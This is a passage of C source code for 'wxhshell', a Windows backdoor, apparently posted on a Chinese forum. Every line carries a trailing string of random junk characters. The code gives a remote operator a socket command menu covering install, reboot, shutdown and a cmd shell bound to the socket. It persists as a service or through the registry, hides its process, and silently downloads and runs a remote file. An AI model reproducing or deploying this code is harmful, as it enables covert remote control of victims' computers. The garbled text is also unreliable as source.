  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bR:hu}YS  
  } 0jPUDkH*  
  else { \[)SK`cwd  
V eY&pPQ  
    switch(cmd[0]) { M"qS#*{  
  T5I#7LN#  
  // 帮助 a<E9@  
  case '?': { P3Vh|<'7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -yBj7F|  
    break; h^1 !8oOYD  
  } \I<R.4 9oW  
  // 安装 "Y4glomR[  
  case 'i': { Z#^|h0  
    if(Install()) !;d>}iE   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rO{?.#~  
    else 8Z "f"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v9KsE2Ei  
    break; ( plT/0=^t  
    } .Y8P6_  
  // 卸载 cq3Z}Cp  
  case 'r': { 1,]FLsuy  
    if(Uninstall()) W!Hn`T   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TiG?r$6v%  
    else ?2\oi*$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fgC@(dvfk  
    break; D/;[x{;E  
    } QP%Hwt]+  
  // 显示 wxhshell 所在路径 oe3=QE  
  case 'p': { 8|L@-F  
    char svExeFile[MAX_PATH]; pjoyMHWK  
    strcpy(svExeFile,"\n\r"); loE;q}^  
      strcat(svExeFile,ExeFile); esQ`6i  
        send(wsh,svExeFile,strlen(svExeFile),0); UWK|_RT6SA  
    break; kCoE;)y$  
    } ]%FP*YU4O  
  // 重启 @,c` #,F/  
  case 'b': { KK6z3"tk5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >msQ@Ch  
    if(Boot(REBOOT)) )54a' Hp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kUT^o  
    else { YU)%-V\  
    closesocket(wsh); G]EI!-y  
    ExitThread(0); 0S'@(p[A  
    } ~Cg7  
    break; PX2b(fR8_O  
    } ;O{bF8 U  
  // 关机 h+Yd \k  
  case 'd': { `_i|\}tl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rwio>4=  
    if(Boot(SHUTDOWN)) _' X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 261? 8&c  
    else { Oo FMOlb.Z  
    closesocket(wsh); T}29(xz-(h  
    ExitThread(0); ?E}gm>  
    } )UTjP/\gN  
    break; u?g&(h  
    } .n4{xQo,EJ  
  // 获取shell ^w"hA;  
  case 's': { Hvy$DX|p  
    CmdShell(wsh); B9KBq $e  
    closesocket(wsh); o2hZ=+w>  
    ExitThread(0); 7'Hh^0<  
    break; +{m+aHk  
  } A=Hv}lv  
  // 退出 zxH<~2  
  case 'x': { 0 z]H=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J P5en  
    CloseIt(wsh); UIg?3J}R  
    break; KsK]y,^Z  
    } ;3xi.^=B  
  // 离开 gy~2LY!}  
  case 'q': { `-R&4%t%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v}D0t]  
    closesocket(wsh); *QI Yq  
    WSACleanup(); fkImX:|q  
    exit(1); I|>.&nb  
    break; |cp_V  
        } eH!V%dX  
  } $ <C",&  
  } iQT0%WaHl  
}~ N\A  
  // 提示信息 l{ql'm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  98^7pa  
} @]8flb )T  
  } _3wK: T{:  
b`j9}t Z  
  return; MLM/!N 7  
} yJO Jw o^  
$cwmfF2C  
// shell模块句柄 !$ii*}  
int CmdShell(SOCKET sock) o"z;k3(i$7  
{  7( Z9\  
STARTUPINFO si; 5L~lF8  
ZeroMemory(&si,sizeof(si)); (: k n)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Iw)m9h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; % WXl*  
PROCESS_INFORMATION ProcessInfo; )Y'g;  
char cmdline[]="cmd"; ZNk[Jn [.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); < 1m `  
  return 0; zSk`Ou8M  
} %[9ty`UE  
MtF0/aT  
// 自身启动模式 lcy+2)+  
int StartFromService(void) qwnVtD  
{ J kAd3ls  
typedef struct 9^N(s7s  
{ [cZ/)tm  
  DWORD ExitStatus; ) R5j?6}xF  
  DWORD PebBaseAddress; .0gfP4{1{  
  DWORD AffinityMask; *=v%($~PK6  
  DWORD BasePriority; `' EG7  
  ULONG UniqueProcessId; re#]zc<  
  ULONG InheritedFromUniqueProcessId; ahCwA}  
}   PROCESS_BASIC_INFORMATION; YRf$?xa  
G/fBeK$.  
PROCNTQSIP NtQueryInformationProcess; ;#IrHR*Bk  
?MmQ'1N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Mw-L?j0o[k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^-n^IR}J  
?[>Y@we  
  HANDLE             hProcess; _y>drvg  
  PROCESS_BASIC_INFORMATION pbi; #Z `Tk)u/  
~UQ<8`@a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qp#Euq6  
  if(NULL == hInst ) return 0; hJSWh5]  
5rCJIl.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $3&XM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3B,dL|q(@J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Fs=x+8'M  
{%^4%Eco  
  if (!NtQueryInformationProcess) return 0; !v9`oL26  
/YJBRU2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @W @,8e]c  
  if(!hProcess) return 0; a|4D6yUw|  
BI*0JKQu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fZsw+PSy  
#r?[@aJ  
  CloseHandle(hProcess); Y$c7uA:4  
}2m>S6""A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7P*\|Sxk%  
if(hProcess==NULL) return 0; O&;d82IA{  
`/N={  
HMODULE hMod; }|[0FP]v  
char procName[255]; gp$Rf9\  
unsigned long cbNeeded; 0L#i c61U  
QXL .4r%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5T(cy  
BB V>Q L  
  CloseHandle(hProcess); ;/?w-)n?  
&OXx\}>MW  
if(strstr(procName,"services")) return 1; // 以服务启动 Xppb|$qp4H  
r%X M`;bQX  
  return 0; // 注册表启动 D/4]r@M2c  
} Xc" %-  
#;@I.  
// 主模块 Lw(tO0b2H  
int StartWxhshell(LPSTR lpCmdLine) <}8G1<QZ'.  
{ cVO- iPK  
  SOCKET wsl; 5_L,7\5#  
BOOL val=TRUE; @o'L!5Y  
  int port=0; %VR{<{3f  
  struct sockaddr_in door; *HGhm04F{  
aE3eYl9u  
  if(wscfg.ws_autoins) Install(); .;ofRx<  
mQ`2c:Rn&7  
port=atoi(lpCmdLine); 5M5vxJ)Lh  
R-OO1~W=  
if(port<=0) port=wscfg.ws_port; i^A=nsD`  
S&]r6ss  
  WSADATA data; /7p(%vr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hmG8 {h/  
B3?rR-2mEE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?K2}<H-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *vIP\NL?H  
  door.sin_family = AF_INET; kZrc^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); } snS~kx  
  door.sin_port = htons(port); GQd[7j[sh  
Dr=$}Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >#l: ]T  
closesocket(wsl); c|aX4=Z  
return 1; Iu`S0#+  
} En\q. 3 5  
^q& |7Ou-  
  if(listen(wsl,2) == INVALID_SOCKET) { PE/uB,Wl  
closesocket(wsl); P?n4B \!  
return 1; ^EkxZ4*g  
} IO=$+c  
  Wxhshell(wsl); $_TS]~y4}  
  WSACleanup(); UF }[%Sa  
=2QP7W3mg<  
return 0; fR{_P  
7ZyP  
} r7R.dD /.  
KfZb=v;-l  
// 以NT服务方式启动 3RvDX p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mv~?1aIKD  
{ XOI"BLd  
DWORD   status = 0; )rAJ>;  
  DWORD   specificError = 0xfffffff; '@M"#`#0  
q+p}U}L= k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $0un`&W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S ~fz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =2=rPZw9  
  serviceStatus.dwWin32ExitCode     = 0; yZgWFf.X  
  serviceStatus.dwServiceSpecificExitCode = 0; ']I!1>v$[  
  serviceStatus.dwCheckPoint       = 0; o~\.jQQxa  
  serviceStatus.dwWaitHint       = 0; _-543B}  
p[].4_B;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }mIN)o  
  if (hServiceStatusHandle==0) return; ~tRGw^<9  
Is<XMR|{  
status = GetLastError(); j%w^8}U>G  
  if (status!=NO_ERROR) hAc|a9 o  
{ *V\.6,^v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EU|IzUjFj|  
    serviceStatus.dwCheckPoint       = 0; (S+/e5c)  
    serviceStatus.dwWaitHint       = 0; JR15y3 F  
    serviceStatus.dwWin32ExitCode     = status; EQd<!)HZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1y wdcg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 19y,O0# _  
    return; 3#dz6+  
  } Cc%{e9e*  
@H4]Gp ]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fsw[ R0B  
  serviceStatus.dwCheckPoint       = 0; \f(zMP  
  serviceStatus.dwWaitHint       = 0; |#< z\u }  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ` V [4  
} oA7DhU5n  
}79jyS-e  
// 处理NT服务事件,比如:启动、停止 e`LkCy[_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vxC];nCC#  
{ %,HUn`  
switch(fdwControl) YVgH[-`,  
{ 5XB]p|YU~s  
case SERVICE_CONTROL_STOP: \#VWZ\M8a  
  serviceStatus.dwWin32ExitCode = 0; _ A# lyp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Qox/abC h  
  serviceStatus.dwCheckPoint   = 0; A s}L=2  
  serviceStatus.dwWaitHint     = 0; 1;S?9N_B  
  { !y/e Fx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vazA@|^8  
  } Y`eF9Im,  
  return; I%Yq86  
case SERVICE_CONTROL_PAUSE: u%yYLpaKf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qGMU>J.;c  
  break; $%"hhju  
case SERVICE_CONTROL_CONTINUE: N"G\ H<n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r6 3l(  
  break; fpC":EX@r  
case SERVICE_CONTROL_INTERROGATE: z[<Na3]  
  break; Bt,'g* Cs  
}; s5mJ -  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3F!)7  
} lMu-,Z="  
,tg]Gt  
// 标准应用程序主函数 $MwBt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \< T7EV.  
{ H? Q--pG8  
hE`d@  
// 获取操作系统版本 !z4I-a  
OsIsNt=GetOsVer(); ]a&riPh"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zx2`0%Q  
K\;4;6 g  
  // 从命令行安装 &I8DK).M+  
  if(strpbrk(lpCmdLine,"iI")) Install(); Wex2Fd?DO  
ED79a:  
  // 下载执行文件 4^:dmeMZ`  
if(wscfg.ws_downexe) { <\Y(+?+uZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r*$f^T!|  
  WinExec(wscfg.ws_filenam,SW_HIDE); %k['<BYG<  
} E#8|h(  
'/ Hoq  
if(!OsIsNt) { .$W}  
// 如果时win9x,隐藏进程并且设置为注册表启动 x"R F[ d  
HideProc(); 6|f8DX%3V  
StartWxhshell(lpCmdLine); C R?}*  
} YLA(hg|  
else s[h;9 I1w  
  if(StartFromService()) ftPhE)i  
  // 以服务方式启动 ^lZ7%6  
  StartServiceCtrlDispatcher(DispatchTable); $!9/s S?  
else Z]TQ+9t  
  // 普通方式启动 Y%eW6Y#  
  StartWxhshell(lpCmdLine); ':_gYA  
>#;;g2UV  
return 0;  WTl0}wi  
}
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只看该作者 1 发表于: 2006-10-10
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